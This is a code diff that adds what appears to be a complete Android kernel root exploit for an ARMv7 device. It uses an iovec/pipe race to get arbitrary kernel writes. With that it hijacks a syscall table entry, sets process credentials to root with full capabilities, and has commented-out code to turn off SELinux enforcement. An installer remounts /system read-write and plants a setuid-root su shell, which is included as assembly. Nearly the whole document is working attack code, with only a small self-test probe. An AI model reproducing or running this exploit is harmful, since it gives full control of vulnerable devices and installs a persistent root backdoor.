buf, ssize_t len) +{ + int ret = 1; + int pipes[2]; + + if(pipe(pipes)) + return 1; + + if(write(pipes[1], buf, len) != len) + goto end; + if(read(pipes[0], address, len) != len) + goto end; + + ret = 0; +end: + close(pipes[1]); + close(pipes[0]); + return ret; +} + +inline int writel_at_address_pipe(void* address, unsigned long val) +{ + return write_at_address_pipe(address, &val, sizeof(val)); +} + +static bool is_keyring_configed() { + return kallsyms_exist_sym("keyring_read"); +} + +#define KALLSYMS_RESTRICT "/proc/sys/kernel/kptr_restrict" + +static int set_kallsyms_restrict(int state) { + FILE *fd = fopen(KALLSYMS_RESTRICT, "w"); + int ret = -1; + if(fd == NULL) { + printf("open failed, ppid:%d, gid:%d,%s\n",getppid(), getgid(),strerror(errno)); + return ret; + } + + if (state == 0) + if (fwrite("0", 1, 1, fd) != 1) + goto fail; + else if(state == 1) + if (fwrite("2", 1, 1,fd) != 1) + goto fail; + + ret = 0; + +fail: + printf("set kall syms restrict ret:%d\n", ret); + fclose(fd); + return ret; +} + +static struct task_security_struct init_tss; + +static unsigned int get_init_sid(void* info, int cred_offset) { + unsigned int pid; + unsigned int tgid; + unsigned int ppid; + unsigned int par_offset; + unsigned int pid_offset; + struct cred* __kernel cred = NULL; + + unsigned int buff[0x100]; + unsigned int buff2[0x100]; + + + pid = syscall(__NR_gettid); + tgid = getpgid(pid); + ppid = getppid(); + unsigned int ptgid = getpgid(ppid); + + if(read_at_address_pipe(info, &buff, 0x400)) { + return 0; + } + + for(pid_offset=0; pid_offset < 0x100; pid_offset++) { + if(buff[pid_offset] == pid && buff[pid_offset + 1]==tgid) { + par_offset = pid_offset + 3; + do { + if (buff[par_offset] > KERNEL_START && !(buff[par_offset] & 0x3)) { + if (read_at_address_pipe((void *)(uintptr_t)buff[par_offset], &buff2, 0x400)) { + return 0; + } + if (buff2[pid_offset] == ppid) { + break; + } + } + par_offset++; + }while((par_offset - pid_offset) <=4); + + if (par_offset - pid_offset > 4) { + return 0; + } + + + while (ppid != 1) { + if (read_at_address_pipe((void *)(uintptr_t)buff2[par_offset], &buff2, 0x400)) { + return 0; + } + ppid = buff2[pid_offset]; + } + + struct task_security_struct* __kernel security = NULL; + cred = (struct cred *)(uintptr_t)buff2[cred_offset/4]; + read_at_address_pipe(&cred->security, &security, sizeof(security)); + if ((unsigned long)security < KERNEL_START) + read_at_address_pipe(0x10 + &cred->security, &security, sizeof(security)); + + if ((unsigned long)security > KERNEL_START) { + if(read_at_address_pipe(security, &init_tss, sizeof(init_tss))) + return 0; + return init_tss.sid; + } + } + } + return 0; +} + +int modify_task_cred_uc(struct thread_info* __kernel info) +{ + unsigned int i; + unsigned long val; + struct cred* __kernel cred = NULL; + uid_t process_uid = getuid(); + gid_t process_gid = getgid(); + struct thread_info ti; + struct task_struct_partial* __user tsp; + + if(read_at_address_pipe(info, &ti, sizeof(ti))) + return 1; + + tsp = malloc(sizeof(*tsp)); + if (!tsp) + return -ENOMEM; + + for(i = 0; i < 0x600; i+= sizeof(void*)) + { + struct task_struct_partial* __kernel t = (struct task_struct_partial*)((void*)ti.task + i); + if(read_at_address_pipe(t, tsp, sizeof(*tsp))) + break; + + if (is_cpu_timer_valid(&tsp->cpu_timers[0]) + && is_cpu_timer_valid(&tsp->cpu_timers[1]) + && is_cpu_timer_valid(&tsp->cpu_timers[2]) + && tsp->real_cred == tsp->cred) + { + struct cred candidate; + if ((unsigned long)tsp->cred >= KERNEL_START + && !((unsigned long)tsp->cred & 3) + && !read_at_address_pipe(tsp->cred, &candidate, + offsetof(struct cred, jit_keyring)) + && candidate.usage.counter > 0 + && candidate.uid == process_uid + && candidate.gid == process_gid + && candidate.euid == process_uid + && candidate.egid == process_gid) { + cred = tsp->cred; + break; + } + } + } + free(tsp); + if(cred == NULL) + return 1; + + val = 0; + write_at_address_pipe(&cred->uid, &val, sizeof(cred->uid)); + write_at_address_pipe(&cred->gid, &val, sizeof(cred->gid)); + write_at_address_pipe(&cred->suid, &val, sizeof(cred->suid)); + write_at_address_pipe(&cred->sgid, &val, sizeof(cred->sgid)); + write_at_address_pipe(&cred->euid, &val, sizeof(cred->euid)); + write_at_address_pipe(&cred->egid, &val, sizeof(cred->egid)); + write_at_address_pipe(&cred->fsuid, &val, sizeof(cred->fsuid)); + write_at_address_pipe(&cred->fsgid, &val, sizeof(cred->fsgid)); + + val = -1; + write_at_address_pipe(&cred->cap_inheritable.cap[0], &val, sizeof(cred->cap_inheritable.cap[0])); + write_at_address_pipe(&cred->cap_inheritable.cap[1], &val, sizeof(cred->cap_inheritable.cap[1])); + write_at_address_pipe(&cred->cap_permitted.cap[0], &val, sizeof(cred->cap_permitted.cap[0])); + write_at_address_pipe(&cred->cap_permitted.cap[1], &val, sizeof(cred->cap_permitted.cap[1])); + write_at_address_pipe(&cred->cap_effective.cap[0], &val, sizeof(cred->cap_effective.cap[0])); + write_at_address_pipe(&cred->cap_effective.cap[1], &val, sizeof(cred->cap_effective.cap[1])); + write_at_address_pipe(&cred->cap_bset.cap[0], &val, sizeof(cred->cap_bset.cap[0])); + write_at_address_pipe(&cred->cap_bset.cap[1], &val, sizeof(cred->cap_bset.cap[1])); + + // if (!is_selinux()) { + // return 0; + // } + + /* HP's rk30_t7h_dvt_defconfig has CONFIG_SECURITY disabled. */ + + // set_kallsyms_restrict(0); + // { + // int zero = 0; + // int selinux_enabled = kallsyms_get_symbol_address("selinux_enabled"); + // int selinux_enforcing = kallsyms_get_symbol_address("selinux_enforcing"); + // printf("%x,%x\n", selinux_enabled, selinux_enforcing ); + // if(selinux_enabled) + // write_at_address_pipe(selinux_enabled, &zero, sizeof(zero)); + // if(selinux_enforcing) + // write_at_address_pipe(selinux_enforcing, &zero, sizeof(zero)); + // } + // set_kallsyms_restrict(1); +end: + return 0; +} diff --git a/src/exploit/common/getroot.h b/src/exploit/common/getroot.h new file mode 100644 index 0000000..0cd73a3 --- /dev/null +++ b/src/exploit/common/getroot.h @@ -0,0 +1,11 @@ +#ifndef GETROOT_H +#define GETROOT_H + +#include "threadinfo.h" + +int read_at_address_pipe(void* address, void* buf, ssize_t len); +int write_at_address_pipe(void* address, void* buf, ssize_t len); +inline int writel_at_address_pipe(void* address, unsigned long val); +int modify_task_cred_uc(struct thread_info* info); + +#endif /* GETROOT_H */ diff --git a/src/exploit/common/kallsyms.c b/src/exploit/common/kallsyms.c new file mode 100644 index 0000000..0637d95 --- /dev/null +++ b/src/exploit/common/kallsyms.c @@ -0,0 +1,83 @@ +#include +#include +#include +#include +#include + +#include "kallsyms.h" + +bool +kallsyms_exist(void) +{ + struct stat st; + + if (stat("/proc/kallsyms", &st) < 0) { + return false; + } + + if (st.st_mode & S_IROTH) { + return kallsyms_get_symbol_address("_stext") != 0; + } + + return false; +} + +bool kallsyms_exist_sym(const char *symbol_name) +{ + FILE *fp; + char function[BUFSIZ]; + char symbol; + void *address; + int ret; + + fp = fopen("/proc/kallsyms", "r"); + if (!fp) { + return false; + } + + while(!feof(fp)) { + ret = fscanf(fp, "%p %c %s", &address, &symbol, function); + if (ret != 3) { + break; + } + + if (!strcmp(function, symbol_name)) { + fclose(fp); + return true; + } + } + fclose(fp); + + return false; +} + +void * +kallsyms_get_symbol_address(const char *symbol_name) +{ + FILE *fp; + char function[BUFSIZ]; + char symbol; + void *address; + int ret; + + fp = fopen("/proc/kallsyms", "r"); + if (!fp) { + return 0; + } + + while(!feof(fp)) { + ret = fscanf(fp, "%p %c %s", &address, &symbol, function); + if (ret != 3) { + break; + } + + if (!strcmp(function, symbol_name)) { + fclose(fp); + return address; + } + } + fclose(fp); + + return NULL; +} + diff --git a/src/exploit/common/kallsyms.h b/src/exploit/common/kallsyms.h new file mode 100644 index 0000000..1e23fa6 --- /dev/null +++ b/src/exploit/common/kallsyms.h @@ -0,0 +1,30 @@ +/* + * Copyright (C) 2013 Hiroyuki Ikezoe + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + * + */ +#ifndef KALLSYMS_H +#define KALLSYMS_H + +#include + +bool kallsyms_exist(void); +void *kallsyms_get_symbol_address(const char *symbol_name); +bool kallsyms_exist_sym(const char *symbol_name); + +#endif /* KALLSYMS_H */ +/* +vi:ts=2:nowrap:ai:expandtab:sw=2 +*/ diff --git a/src/exploit/common/log.h b/src/exploit/common/log.h new file mode 100644 index 0000000..91d465e --- /dev/null +++ b/src/exploit/common/log.h @@ -0,0 +1,46 @@ +/****************************************************************************** + * + * AUTHOR + * lihouchen + * + *****************************************************************************/ +#ifndef _LOG_H +#define _LOG_H + +#include + +// #define SHOW_DETAIL_STEP 1 + +#define DEBUG +// #define ANDROID_LOG 1 + +#ifndef LOG_TAG +#define LOG_TAG "zroot" +#endif + + +#ifdef DEBUG +#ifdef ANDROID_LOG +#define LOGV(...) __android_log_print(ANDROID_LOG_VERBOSE, LOG_TAG, __VA_ARGS__) +#define LOGD(...) __android_log_print(ANDROID_LOG_DEBUG , LOG_TAG, __VA_ARGS__) +#define LOGI(...) __android_log_print(ANDROID_LOG_INFO , LOG_TAG, __VA_ARGS__) +#define LOGW(...) __android_log_print(ANDROID_LOG_WARN , LOG_TAG, __VA_ARGS__) +#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR , LOG_TAG, __VA_ARGS__) +#else // #ifdef ANDROID_LOG +#define LOGV(...) printf(__VA_ARGS__) +#define LOGD(...) printf(__VA_ARGS__) +#define LOGI(...) printf(__VA_ARGS__) +#define LOGW(...) printf(__VA_ARGS__) +#define LOGE(...) printf(__VA_ARGS__) +#endif // #ifdef ANDROID_LOG +#else // #ifdef DEBUG +#define LOGV(...) +#define LOGD(...) +#define LOGI(...) +#define LOGW(...) +#define LOGE(...) +#endif // #ifdef DEBUG + +//char logbuff[256]; + +#endif // _LOG_H diff --git a/src/exploit/common/threadinfo.h b/src/exploit/common/threadinfo.h new file mode 100644 index 0000000..f8bfd99 --- /dev/null +++ b/src/exploit/common/threadinfo.h @@ -0,0 +1,124 @@ +#ifndef THREADINFO_H +#define THREADINFO_H + +#include + +//64bit structs according to sources from Z5 Lollipop 32.0.A.6.200 +//32bit structs according to sources from Z3C Lollipop 23.4.A.1.200 + +#if (__LP64__) +#define KERNEL_START 0xffffffc000000000 +#define THREAD_SIZE 16384 +#else +#define KERNEL_START 0xc0000000 +#define THREAD_SIZE 8192 +#endif + +typedef unsigned int u32; +struct task_struct; +struct thread_info; + +struct list_head { + struct list_head *next, *prev; +}; + +static inline struct thread_info* get_thread_info(unsigned long sp) +{ + return (struct thread_info*)(sp & ~(THREAD_SIZE - 1)); +} + +static inline struct thread_info* current_thread_info() +{ + register unsigned long sp asm ("sp"); + return get_thread_info(sp); +} + +static inline int is_cpu_timer_valid(struct list_head* cpu_timer) +{ + if (cpu_timer->next != cpu_timer->prev) + return 0; + + if ((unsigned long)cpu_timer->next < KERNEL_START) + return 0; + + return 1; +} + +typedef struct { + int counter; +} atomic_t; + +typedef struct kernel_cap_struct { + uint32_t cap[2]; +} kernel_cap_t; + +struct task_security_struct { + u32 osid; /* SID prior to last execve */ + u32 sid; /* current SID */ + u32 exec_sid; /* exec SID */ + u32 create_sid; /* fscreate SID */ + u32 keycreate_sid; /* keycreate SID */ + u32 sockcreate_sid; /* fscreate SID */ +}; + +struct task_struct_partial +{ + /* ... */ + struct list_head cpu_timers[3]; + struct cred *real_cred; + struct cred *cred; + struct cred *replacement_session_keyring; + char comm[16]; + /* ... */ +}; + +struct cred { + atomic_t usage; + uid_t uid; /* real UID of the task */ + gid_t gid; /* real GID of the task */ + uid_t suid; /* saved UID of the task */ + gid_t sgid; /* saved GID of the task */ + uid_t euid; /* effective UID of the task */ + gid_t egid; /* effective GID of the task */ + uid_t fsuid; /* UID for VFS ops */ + gid_t fsgid; /* GID for VFS ops */ + unsigned securebits; /* SUID-less security management */ + kernel_cap_t cap_inheritable; /* caps our children can inherit */ + kernel_cap_t cap_permitted; /* caps we're permitted */ + kernel_cap_t cap_effective; /* caps we can actually use */ + kernel_cap_t cap_bset; /* capability bounding set */ + unsigned char jit_keyring; /* default keyring to attach requested + * keys to */ +#if (__LP64__) + void *session_keyring; /* keyring inherited over fork */ + void *process_keyring; /* keyring private to this process */ + void *thread_keyring; /* keyring private to this thread */ + void *request_key_auth; /* assumed request_key authority */ +#else + void *thread_keyring; /* keyring private to this thread */ + void *request_key_auth; /* assumed request_key authority */ + void *tgcred; /* thread-group shared credentials */ +#endif + struct task_security_struct *security; /* subjective LSM security */ + /* ... */ +}; + +#if (__LP64__) +struct thread_info { + unsigned long flags; /* low level flags */ + unsigned long addr_limit; /* address limit */ + struct task_struct *task; /* main task structure */ + /* ... */ +}; +#else +struct thread_info +{ + unsigned long flags; + int preempt_count; + unsigned long addr_limit; + struct task_struct *task; + /* ... */ +}; +#endif + +#endif /* THREADINFO_H */ diff --git a/src/exploit/expIov/exp_iov.h b/src/exploit/expIov/exp_iov.h new file mode 100644 index 0000000..78e8279 --- /dev/null +++ b/src/exploit/expIov/exp_iov.h @@ -0,0 +1,16 @@ +#ifndef _EXP_IOV_H_ +#define _EXP_IOV_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +int iov_main(void); +int iov_probe(void); + +#ifdef __cplusplus +} +#endif + + +#endif diff --git a/src/exploit/expIov/iov_exp_main.c b/src/exploit/expIov/iov_exp_main.c new file mode 100644 index 0000000..efe4975 --- /dev/null +++ b/src/exploit/expIov/iov_exp_main.c @@ -0,0 +1,438 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include + +#include + +#include + +#include +#include + +#include +#include +#include +#include +#include +#include + +#ifndef PROBE_ONLY +#include "getroot.h" +#include "kallsyms.h" +#include "exp_sys_call.h" +#endif +#include "log.h" + +#ifndef F_SETPIPE_SZ +#define F_SETPIPE_SZ (F_LINUX_SPECIFIC_BASE + 7) +#endif +#ifndef F_GETPIPE_SZ +#define F_GETPIPE_SZ (F_LINUX_SPECIFIC_BASE + 8) +#endif +#ifndef PAGE_SIZE +#define PAGE_SIZE 4096 +#endif + +#define WAIT_MAX_SECS 30 + +#define UDP_SERVER_PORT (5105) +#define MEMMAGIC (0xDEADBEEF) +//pipe buffers are seperated in pages +#define PIPESZ (4096 * 32) +#define IOVECS (512) +#define SENDTHREADS (0xE0) +#define MMAP_ADDR ((void*)0x40000000) +#define MMAP_SIZE (PAGE_SIZE * 2) +static volatile int kill_switch = 0; +static volatile int stop_send = 0; +static int pipefd[2]; +static struct iovec iovs[IOVECS]; +static volatile unsigned long overflowcheck = MEMMAGIC; + +// #ifndef __aarch64__ +// struct mmsghdr { +// struct msghdr msg_hdr; +// unsigned int msg_len; +// }; +// #endif + +static void* readpipe(void* param) +{ + while(!kill_switch) + { + readv((int)((long)param), iovs, ((IOVECS / 2) + 1)); + } + + pthread_exit(NULL); +} + +static int startreadpipe() +{ + int ret; + pthread_t rthread; + + // printf(" [+] Start read thread\n"); + if((ret = pthread_create(&rthread, NULL, readpipe, (void*)(long)pipefd[0]))) + perror("read pthread_create()"); + + return ret; +} + +static char wbuf[4096]; +static void* writepipe(void* param) +{ + while(!kill_switch) + { + if(write((int)((long)param), wbuf, sizeof(wbuf)) != sizeof(wbuf)) + perror("write()"); + } + + pthread_exit(NULL); +} + +static int startwritepipe(long targetval) +{ + int ret; + unsigned int i; + pthread_t wthread; + + // printf(" [+] Start write thread\n"); + + for(i = 0; i < (sizeof(wbuf) / sizeof(targetval)); i++) + ((long*)wbuf)[i] = targetval; + if((ret = pthread_create(&wthread, NULL, writepipe, (void*)(long)pipefd[1]))) + perror("write pthread_create()"); + + return ret; +} + +static void* writemsg(void* param) +{ + int sockfd; + struct mmsghdr msg = {{ 0 }, 0 }; + struct sockaddr_in soaddr = { 0 }; + + (void)param; /* UNUSED */ + soaddr.sin_family = AF_INET; + soaddr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); + soaddr.sin_port = htons(UDP_SERVER_PORT); + + sockfd = socket(AF_INET, SOCK_DGRAM, 0); + if (sockfd == -1) + { + perror("socket client failed"); + pthread_exit((void*)-1); + } + + if (connect(sockfd, (struct sockaddr *)&soaddr, sizeof(soaddr)) == -1) + { + perror("connect failed"); + pthread_exit((void*)-1); + } + + msg.msg_hdr.msg_iov = iovs; + msg.msg_hdr.msg_iovlen = IOVECS; + msg.msg_hdr.msg_control = iovs; + msg.msg_hdr.msg_controllen = (IOVECS * sizeof(struct iovec)); + + while(!stop_send) + { + syscall(__NR_sendmmsg, sockfd, &msg, 1, 0); + // syscall(__NR_sendmsg, sockfd, &(msg.msg_hdr), 0); + } + + close(sockfd); + pthread_exit(NULL); +} + +static int heapspray(long* target) +{ + unsigned int i; + void* retval; + pthread_t msgthreads[SENDTHREADS]; + + iovs[(IOVECS / 2) + 1].iov_base = (void*)&overflowcheck; + iovs[(IOVECS / 2) + 1].iov_len = sizeof(overflowcheck); + iovs[(IOVECS / 2) + 2].iov_base = target; + iovs[(IOVECS / 2) + 2].iov_len = sizeof(*target); + + for(i = 0; i < SENDTHREADS; i++) + { + int thread_error = pthread_create(&msgthreads[i], NULL, writemsg, NULL); + if(thread_error) + { + printf("spray pthread_create failed at %u: %d\n", i, + thread_error); + stop_send = 1; + while (i > 0) + pthread_join(msgthreads[--i], &retval); + stop_send = 0; + return 1; + } + } + + sleep(2); + stop_send = 1; + for(i = 0; i < SENDTHREADS; i++) + pthread_join(msgthreads[i], &retval); + stop_send = 0; + + return 0; +} + +static void* mapunmap(void* param) +{ + (void)param; /* UNUSED */ + while(!kill_switch) + { + munmap(MMAP_ADDR, MMAP_SIZE); + if(mmap(MMAP_ADDR, MMAP_SIZE, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0) == (void*)-1) + { + perror("mmap() thread"); + exit(2); + } + usleep(50); + } + + pthread_exit(NULL); +} + +static int startmapunmap() +{ + int ret; + pthread_t mapthread; + + if((ret = pthread_create(&mapthread, NULL, mapunmap, NULL))) + perror("mapunmap pthread_create()"); + + return ret; +} + +static int initmappings() +{ + memset(iovs, 0, sizeof(iovs)); + + if(mmap(MMAP_ADDR, MMAP_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0) == (void*)-1) + { + perror("mmap()"); + return -ENOMEM; + } + + //just any buffer that is always available + iovs[0].iov_base = &wbuf; + //how many bytes we can arbitrary write + iovs[0].iov_len = sizeof(long) * 2; + + iovs[1].iov_base = MMAP_ADDR; + //we need more than one pipe buf so make a total of 2 pipe bufs (8192 bytes) + iovs[1].iov_len = ((PAGE_SIZE * 2) - iovs[0].iov_len); + + return 0; +} + +static int getpipes() +{ + int ret; + + if((ret = pipe(pipefd))) + { + perror("pipe()"); + return ret; + } + + ret = (fcntl(pipefd[1], F_SETPIPE_SZ, PIPESZ) == PIPESZ) ? 0 : 1; + if(ret) + perror("fcntl()"); + + return ret; +} + +static int setfdlimit() +{ + struct rlimit rlim; + int ret; + if ((ret = getrlimit(RLIMIT_NOFILE, &rlim))) + { + perror("getrlimit()"); + return ret; + } + + rlim.rlim_cur = rlim.rlim_max; + if((ret = setrlimit(RLIMIT_NOFILE, &rlim))) + perror("setrlimit()"); + + return ret; +} + +static int setprocesspriority() +{ + int ret; + + if((ret = setpriority(PRIO_PROCESS, 0, -20)) == -1) + perror("setpriority()"); + return ret; +} + +static int write_at_address(void* target, unsigned long targetval) +{ + kill_switch = 0; + overflowcheck = MEMMAGIC; + int timeout; + + if(startmapunmap()) + return 1; + if(startwritepipe(targetval)) + return 1; + if(heapspray(target)) + return 1; + + sleep(1); + + if(startreadpipe()) + return 1; + + for (timeout = 0; timeout < WAIT_MAX_SECS; timeout++) + { + if(overflowcheck != MEMMAGIC) + { + LOGD(" [+] Done\n"); + kill_switch = 1; + return 0; + } + sleep(1); + } + + kill_switch = 1; + + return 1; +} + + +#ifndef PROBE_ONLY +__attribute__((naked, noinline)) +struct thread_info* patchaddrlimit(void) +{ + /* + * This function executes as the temporary syscall body. Keep it fully + * self-contained: old kernel headers express current_thread_info() with + * a register variable that modern Clang miscompiles at -O0. + * + * HP's ARMv7 kernel uses an 8 KiB kernel stack and TI_ADDR_LIMIT == 8. + * r0 is both the computed thread_info pointer and the return value. + */ + __asm__ volatile( + "mov r0, sp\n" + "lsr r0, r0, #13\n" + "lsl r0, r0, #13\n" + "mvn r1, #0\n" + "str r1, [r0, #8]\n" + "bx lr\n"); +} + +int getroot() +{ + int ret = 1; + struct thread_info* ti; + unsigned long original_ni_syscall = 0; + + unsigned long sys_call_table_base = get_sys_table_base(); + if(write_at_address((void *)(uintptr_t)(sys_call_table_base + __NR_exp_ * 4), + (unsigned long)&patchaddrlimit)) + return 1; + + ti = (struct thread_info*)syscall(__NR_exp_); + + if(ti == -1 || ti < KERNEL_START) { + LOGD("syscall failed, errno:%d\n", errno); + return -1; + } + + /* + * Restore the table before touching credentials. Syscalls 222 and 223 + * are both sys_ni_syscall in this HP kernel tree, so entry 223 is a safe + * authoritative source for the original pointer. + */ + if (read_at_address_pipe( + (void *)(uintptr_t)(sys_call_table_base + (__NR_exp_ + 1) * 4), + &original_ni_syscall, sizeof(original_ni_syscall)) || + write_at_address_pipe( + (void *)(uintptr_t)(sys_call_table_base + __NR_exp_ * 4), + &original_ni_syscall, sizeof(original_ni_syscall))) { + LOGD("failed to restore syscall 222\n"); + goto end; + } + LOGD("restored syscall 222 to 0x%08lx\n", original_ni_syscall); + + if(modify_task_cred_uc(ti)) + goto end; + + ret = 0; +end: + return ret; +} + +int iov_main() +{ + unsigned int i; + int ret = 1; + + if(setfdlimit()) + return 1; + // if(setprocesspriority()) + // return 1; + if(getpipes()) + return 1; + if(initmappings()) + return 1; + + ret = getroot(); + //let the threads end + if (ret != 0) { + LOGD("iov ret:%d\n", ret); + } + sleep(2); + + close(pipefd[0]); + close(pipefd[1]); + + if(getuid() == 0) + { + return 0; + } + + return 1; +} +#endif + +/* + * Non-privileged vulnerability probe. It exercises the same iovec race as + * the exploit, but both destinations are ordinary writable variables in this + * process. It never supplies a kernel address and never modifies credentials. + */ +int iov_probe(void) +{ + volatile unsigned long safe_target = MEMMAGIC; + const unsigned long probe_value = 0x434F4445; + int ret; + + if (setfdlimit()) + return 2; + if (getpipes()) + return 2; + if (initmappings()) + return 2; + + ret = write_at_address((void *)&safe_target, probe_value); + sleep(1); + kill_switch = 1; + close(pipefd[0]); + close(pipefd[1]); + + printf("probe ret=%d overflowcheck=0x%08lx target=0x%08lx\n", + ret, overflowcheck, safe_target); + return (ret == 0 && overflowcheck == probe_value && + safe_target == probe_value) ? 0 : 1; +} diff --git a/src/exploit/root-main.c b/src/exploit/root-main.c new file mode 100644 index 0000000..9bc3727 --- /dev/null +++ b/src/exploit/root-main.c @@ -0,0 +1,15 @@ +#define _GNU_SOURCE +#include +#include +#include "exp_iov.h" + +int main(void) +{ + int rc = iov_main(); + printf("exploit rc=%d uid=%d gid=%d\n", rc, getuid(), getgid()); + if (rc != 0 || getuid() != 0) + return 1; + execl("/data/local/tmp/install-root", "install-root", (char *)0); + perror("exec install-root"); + return 2; +} diff --git a/src/exploit/stub/android/log.h b/src/exploit/stub/android/log.h new file mode 100644 index 0000000..6f70f09 --- /dev/null +++ b/src/exploit/stub/android/log.h @@ -0,0 +1 @@ +#pragma once diff --git a/src/installer/install-root.c b/src/installer/install-root.c new file mode 100644 index 0000000..d7fa87a --- /dev/null +++ b/src/installer/install-root.c @@ -0,0 +1,71 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +static int +copy_file(const char *source, const char *destination) +{ + char buffer[16384]; + int input = -1; + int output = -1; + int result = -1; + ssize_t count; + + input = open(source, O_RDONLY); + if (input < 0) + goto out; + output = open(destination, O_WRONLY | O_CREAT | O_TRUNC, 0755); + if (output < 0) + goto out; + + while ((count = read(input, buffer, sizeof(buffer))) > 0) { + char *cursor = buffer; + ssize_t remaining = count; + while (remaining > 0) { + ssize_t written = write(output, cursor, remaining); + if (written <= 0) + goto out; + cursor += written; + remaining -= written; + } + } + if (count < 0 || fchown(output, 0, 0) != 0 || + fchmod(output, 06755) != 0 || fsync(output) != 0) + goto out; + result = 0; + +out: + if (output >= 0) + close(output); + if (input >= 0) + close(input); + return result; +} + +int +main(void) +{ + int result; + + printf("installer uid=%d gid=%d\n", getuid(), getgid()); + if (getuid() != 0) + return 2; + + if (mount(NULL, "/system", NULL, MS_REMOUNT, NULL) != 0) { + printf("remount-rw failed: %s\n", strerror(errno)); + return 3; + } + + result = copy_file("/data/local/tmp/rootsh-armv7", "/system/xbin/su"); + sync(); + if (mount(NULL, "/system", NULL, MS_REMOUNT | MS_RDONLY, NULL) != 0) + printf("remount-ro warning: %s\n", strerror(errno)); + + printf("install-su %s\n", result == 0 ? "ok" : "failed"); + return result == 0 ? 0 : 4; +} diff --git a/src/su/rootsh.S b/src/su/rootsh.S new file mode 100644 index 0000000..ec7c752 --- /dev/null +++ b/src/su/rootsh.S @@ -0,0 +1,37 @@ + .syntax unified + .arm + .section .text + .global _start + .type _start, %function +_start: + ldr r3, [sp] @ argc + add r4, sp, #4 @ argv = &stack[1] + add r5, r4, r3, lsl #2 @ envp = argv + argc + add r5, r5, #4 @ skip argv terminator + + mov r0, #0 + mov r1, #0 + mov r2, #0 + mov r7, #170 @ setresgid(0, 0, 0) + svc #0 + + mov r0, #0 + mov r1, #0 + mov r2, #0 + mov r7, #164 @ setresuid(0, 0, 0) + svc #0 + + adr r0, shell_path + mov r1, r4 + mov r2, r5 + mov r7, #11 @ execve("/system/bin/sh", argv, envp) + svc #0 + + mov r0, #127 + mov r7, #1 @ exit(127) + svc #0 + + .align 2 +shell_path: + .asciz "/system/bin/sh" + .size _start, .-_start